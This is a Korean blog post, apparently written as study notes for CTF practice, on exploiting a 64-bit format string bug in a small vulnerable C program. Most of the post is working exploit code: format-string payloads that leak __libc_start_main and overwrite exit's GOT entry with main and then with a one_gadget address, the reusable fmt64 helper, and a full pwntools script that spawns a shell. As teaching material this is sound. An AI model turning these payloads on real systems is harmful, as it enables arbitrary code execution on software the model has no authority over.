티스토리 뷰

pwnable/정리

64bit fsb 정리

ba0bab 2019. 11. 6. 15:33
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

int main(void)
{
    char buf[300] = {0};

    setvbuf(stdin, 0, 2, 0);
    setvbuf(stdout, 0, 2, 0);

    printf("input: ");
    read(0, buf, 300);
    printf(buf);
    exit(0);
}

컴파일 : gcc fsb.c -o fsb -no-pie
printf 에서 Format String Bug가 발생한다.

Exploit scenario

  1. 오프셋 구하기
  2. exit_got를 main으로 돌리는 동시에 libc_start_main leak
  3. exit_got를 one_gadget으로 overwrite
  4. get shell

Exploit flow

main으로 다시 가야하는 이유는 첫 번째 fsb에서는 쉘을 띄울 수 없기 때문이다.

첫 번째 fsb로는 libc_start_main의 주소를 leak해주고

구해진 libc_start_main을 통해 libc_base 주소를 구해 oneshot 주소를 계산한다.

두 번째 fsb에서 oneshot주소로 뛰어 shell을 얻는다.

3byte overwrite or 6byte overwrite

결국 우리는 exit_got를 main함수와 oneshot의 주소로 2번 overwrite 해야한다.

첫 번째, main함수의 주소는 3byte이다.
두 번째, oneshot(library address)주소는 6byte이다.

3byte를 overwrite할 때는 그냥 %ln을 이용해서 적어주면 된다.(%ln은 8바이트 적어줌.)

시간이 그렇게 오래 걸리지 않기 때문이다.
(일반적으로 2바이트씩 나눠서 적어주는 이유는 너무 많은 시간이 걸려 payload를 작성할 수 없기 때문이다.)

#3byte
payload = ''
payload += '%'+str(e.symbols['main'])+'c'
payload += '%9$ln'+"AA"
payload += ' k%47$p ' #libc_start_main leak
payload += p64(e.got['exit'])

6byte를 overwrite할 때는 low, middle, high로 2바이트씩 끊어서 %hn(2byte write) 포멧스트링을 이용하여 적어준다.

one_gadget = libc_base + 0x4f322

one_gadget_low = one_gadget & 0xffff
one_gadget_middle = (one_gadget >> 16) & 0xffff
one_gadget_high = (one_gadget >> 32) &0xffff

low = one_gadget_low

if one_gadget_middle > one_gadget_low:
    middle = one_gadget_middle - one_gadget_low
else:
    middle = 0x10000 + one_gadget_middle - one_gadget_low

if one_gadget_high > one_gadget_middle:
    high = one_gadget_high - one_gadget_middle
else:
    high = 0x10000 + one_gadget_high - one_gadget_middle

payload2 = ''
payload2 += '%' + str(low)  +'c'
payload2 += '%'+'11'+'$hn'

payload2 += '%' + str(middle) + 'c'
payload2 += '%'+'12'+'$hn'

payload2 += '%' + str(high) + 'c'
payload2 += '%'+'13'+'$hn'

payload2 += 'A' * (8 - len(payload2) % 8)
payload2 += p64(e.got['exit'])
payload2 += p64(e.got['exit']+2)
payload2 += p64(e.got['exit']+4)

아니 손으로 짜기 싫어!

def fmt(prev , target):
    if prev < target:
        result = target - prev
        return "%" + str(result)  + "c"
    elif prev == target:
        return ""
    else:
        result = 0x10000 + target - prev
        return "%" + str(result) + "c"

def fmt64(offset , target_addr , target_value , prev = 0):
    payload = ""
    for i in range(3):
        payload += p64(target_addr + i * 2)
    payload2 = ""
    for i in range(3):
        target = (target_value >> (i * 16)) & 0xffff 
        payload2 += fmt(prev , target) + "%" + str(offset + 8 + i) + "$hn"
        prev = target
    payload = payload2.ljust(0x40 , "a") + payload
    return payload

두 함수를 정의해놓고 fmt64(6, got, shell) 이렇게 쓰면 덮을 수 있다.

> exploit.py

from pwn import *
import sys

try:
    server = int(sys.argv[1])
except:
    server = 0

if server == 0:
    s = process("fsb")
    libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
elif server == 1:
    s = remote("", )
    #libc = ELF("")
e = ELF("fsb")
context.log_level = 'debug'

print(e.symbols['main'])
payload = ''
payload += '%'+str(e.symbols['main'])+'c'
payload += '%9$ln'+"AA"
payload += ' k%47$p '
payload += p64(e.got['exit'])

print(len(payload))
s.sendlineafter(": ", payload)
s.recvuntil("k")

ret = int(s.recvuntil(" "),16)
libc_base = ret - libc.symbols['__libc_start_main'] -231

print(hex(libc_base))
one_gadget = libc_base + 0x4f322

one_gadget_low = one_gadget & 0xffff
one_gadget_middle = (one_gadget >> 16) & 0xffff
one_gadget_high = (one_gadget >> 32) &0xffff

low = one_gadget_low

if one_gadget_middle > one_gadget_low:
    middle = one_gadget_middle - one_gadget_low
else:
    middle = 0x10000 + one_gadget_middle - one_gadget_low

if one_gadget_high > one_gadget_middle:
    high = one_gadget_high - one_gadget_middle
else:
    high = 0x10000 + one_gadget_high - one_gadget_middle

payload2 = ''
payload2 += '%' + str(low)  +'c'
payload2 += '%'+'11'+'$hn'

payload2 += '%' + str(middle) + 'c'
payload2 += '%'+'12'+'$hn'

payload2 += '%' + str(high) + 'c'
payload2 += '%'+'13'+'$hn'

payload2 += 'A' * (8 - len(payload2) % 8)
payload2 += p64(e.got['exit'])
payload2 += p64(e.got['exit']+2)
payload2 += p64(e.got['exit']+4)
payload2 += p64(0)

#print(low, middle, high)
print(len(payload2))
s.sendlineafter(": ", payload2)

s.interactive()

FSB TIP

  1. 웬만하면 pwntools의 fmtstr_payload가 편하다. 64비트도 저 함수쓰면 좋다 ㅎㅋ

  2. leak

    • 위의 예제와 같이 라이브러리의 주소가 필요할땐 __libc_start_main을 leak한다. (https://blog.ba0bab.kr/151)
    • canary도 leak 가능하다.\
    • 만약 PIE가 걸려있으면 sfp에 담겨있는 PIE주소도 leak이 가능하다.
  3. 덮을곳이 없다!

    • 마땅한 got overwrite할 부분이 없을 때는 fini_array를 덮는다. rerlo가 걸려있지 않다면 write권한이 있을 것이다.
    • canary가 걸린 바이너리인데 덮을 곳이 없으면 __stack_chk_fail를 덮고 카나리를 침범시킨다!

'pwnable > 정리' 카테고리의 다른 글

FSOP : File Stream Oriented Programming  (0) 2019.12.22
glibc exit.c analysis  (0) 2019.11.12
libc_start_main leak  (0) 2018.09.13
kail tool pattern_create / offset  (0) 2018.09.06
pwnable 기법 공부하기 좋은 사이트  (0) 2018.08.19
Comments